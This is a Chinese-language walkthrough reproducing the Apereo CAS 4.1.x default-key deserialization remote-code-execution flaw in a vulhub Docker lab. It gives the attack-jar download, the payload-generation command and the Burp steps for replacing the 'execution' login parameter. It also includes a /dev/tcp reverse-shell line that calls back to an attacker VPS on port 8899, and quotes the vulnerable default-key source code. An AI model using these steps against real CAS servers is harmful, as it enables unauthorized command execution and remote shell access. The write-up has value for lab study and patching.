0x00 實驗環境
攻擊機:Win 10
靶機也可作為攻擊機:Ubuntu18 (docker搭建的vulhub靶場)
0x01 影響版本
影響版本 Apereo CAS <= 4.1.7(Apereo CAS是一款Apereo發布的集中認證服務平台,常被用於企業內部單點登錄系統。其4.1.7版本之前存在一處默認密鑰的問題,利用這個默認密鑰我們可以構造惡意信息觸發目標反序列化漏洞,進而執行任意命令。)
0x02 漏洞復現
(1)訪問頁面:(其實這個頁面並不常見,大部分應該都是有修改過,挖漏洞也很少遇到這類,版本為4.1.5,存在該漏洞)
(2)下載命令執行工具生成payload:
https://github.com/vulhub/Apereo-CAS-Attack/releases/download/v1.0.0/apereo-cas-attack-1.0-SNAPSHOT-all.jar
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "mkdir 123"
(3)上面的即為我們的payload了,直接在登錄頁面進行抓包,修改命令為payload即可:
(4)發送至repeater模塊,修改參數“execution”為生成的payload:
可以發現肉雞生成了一個123的文件夾,這個工具沒法直接將結果返回過來,因此大部分情況都是用來反彈shell。
(5)反彈shell的命令:
/bin/bash -i > /dev/tcp/xx.xx.xx.xx/8899 0<&1 2>&1
這里不能直接放在里面,需要編碼一下命令才行,復現久了就能習慣性的知道怎么做了:
在網站:http://www.jackson-t.ca/runtime-exec-payloads.html
轉換一下命令的編碼格式,然后再去生成payload:
然后直接執行命令,在自己的攻擊機vps上監聽8899,burp發包即可:
發一下包就能獲取到反彈回來的shell:
0x04 漏洞原理
Webflow中使用了默認密鑰changeit:
public class EncryptedTranscoder implements Transcoder { private CipherBean cipherBean; private boolean compression = true; public EncryptedTranscoder() throws IOException { BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean(); bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7")); bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore()); bufferedBlockCipherBean.setKeyAlias("aes128"); bufferedBlockCipherBean.setKeyPassword("changeit"); bufferedBlockCipherBean.setNonce(new RBGNonce()); this.setCipherBean(bufferedBlockCipherBean); }